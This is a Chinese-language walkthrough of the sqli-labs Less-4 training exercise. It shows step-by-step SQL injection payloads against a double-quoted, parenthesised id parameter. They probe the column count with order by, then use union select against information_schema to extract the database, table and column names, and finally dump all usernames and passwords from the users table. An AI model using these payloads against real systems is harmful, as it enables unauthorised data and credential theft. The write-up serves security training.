[网络安全]sqli-labs Less-4 解题详析

判断注入类型

GET1" and "1"="1,回显如下:

GET1" and "1"="2
没有回显,说明该漏洞类型为GET型双引号字符型注入

判断注入点个数

GET1" order by 3 --+

复制代码
由上图可知,sql语法中给$id加上了()
猜测后端语句为SELECT * FROM xx where id=("$id")
故构造GET1') order by 3 --+,此时后端语句为SELECT * FROM xx where id=("1") order by 3 --+")
即SELECT * FROM xx where id=("-1") order by 3

GET1") order by 3 --+

GET1") order by 4 --+
故注入点为3

查库名

GET-1") union select 1,2,database(); --+

回显库名security

查表名

复制代码
-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'; --+

回显四个表名

查users表的列名

复制代码
-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'; --+

查字段

Payload:-1") union select 1,group_concat(username),group_concat(password) from 库名.表名; --+

实例如下:

复制代码
-1") union select 1,group_concat(username),group_concat(password) from security.users; --+
相关推荐
xyy202520 分钟前
Spring事务的传播方式
java·数据库·spring
非凡的世界34 分钟前
Thinkphp8 Redis队列与消息队列topthink/think-queue 原创
数据库·redis·bootstrap·thinkphp
yookay zhang36 分钟前
DM线程的管理知识学习
数据库
l1t1 小时前
测试DuckDB电子表格读取插件rusty_sheet 0.2版
数据库·rust·插件·xlsx·duckdb
TiAmo zhang2 小时前
SQL Server 2019实验 │ 表数据插入、修改和删除
数据库·oracle
慕容雪_2 小时前
MySQL去除表、字段注释
数据库·mysql
zym大哥大2 小时前
C++客服端访问redis
数据库·redis·缓存
洛克大航海2 小时前
Ubuntu安装Hbase
大数据·linux·数据库·ubuntu·hbase
小蒜学长3 小时前
springboot餐厅信息管理系统设计(代码+数据库+LW)
java·数据库·spring boot·后端
Justin_193 小时前
mysql数据库高级特性(一)
数据库·mysql